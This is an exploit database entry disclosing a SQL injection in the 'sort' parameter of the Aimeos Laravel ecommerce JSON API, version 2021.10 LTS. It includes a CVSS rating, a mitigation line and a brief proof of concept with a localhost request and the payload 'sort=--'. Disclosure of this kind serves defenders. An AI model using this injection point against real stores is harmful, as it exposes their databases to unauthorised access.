Aimeos Laravel ecommerce platform 2021.10 LTS - 'sort' SQL injection

vendor:

Aimeos Laravel ecommerce platform

by:

Ilker Burak ADIYAMAN

9.8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: Aimeos Laravel ecommerce platform

Affected Version From: Aimeos 2021.10 LTS

Affected Version To: Aimeos 2021.10 LTS

Patch Exists: NO

Related CWE:

CPE: a:aimeos:aimeos_laravel_ecommerce_package

Metasploit:

Other Scripts:

Platforms Tested: MacOSX

2021

Aimeos Laravel ecommerce platform 2021.10 LTS – ‘sort’ SQL injection

The Aimeos E-Commerce framework Laravel application is vulnerable to SQL injection via the 'sort' parameter on the json api.

Mitigation:

Input validation and sanitization should be done on the server side to prevent SQL injection.

Source

Exploit-DB raw data:

# Exploit Title: Aimeos Laravel ecommerce platform 2021.10 LTS - 'sort' SQL injection
# Date: 20/11/2021
# Exploit Author: Ilker Burak ADIYAMAN
# Vendor Homepage: https://aimeos.org
# Software Link: https://aimeos.org/laravel-ecommerce-package
# Version: Aimeos 2021.10 LTS
# Tested on: MacOSX

*Description:*

The Aimeos E-Commerce framework Laravel application is vulnerable to SQL injection via the 'sort' parameter on the json api.

==================== 1. SQLi ====================

https://127.0.0.1/default/jsonapi/review?sort=-ctime

The "sort" parameter is vulnerable to SQL injection, reveals table and column names.

step 1 : Copy json api GET request above.
step 2 : Change sort parameter value to --

----------------------------------------------------------------------
Parameter: sort (GET)
    Type: error based
    Title: GET parameter 'sort' appears to be injectable
    Payload: sort=--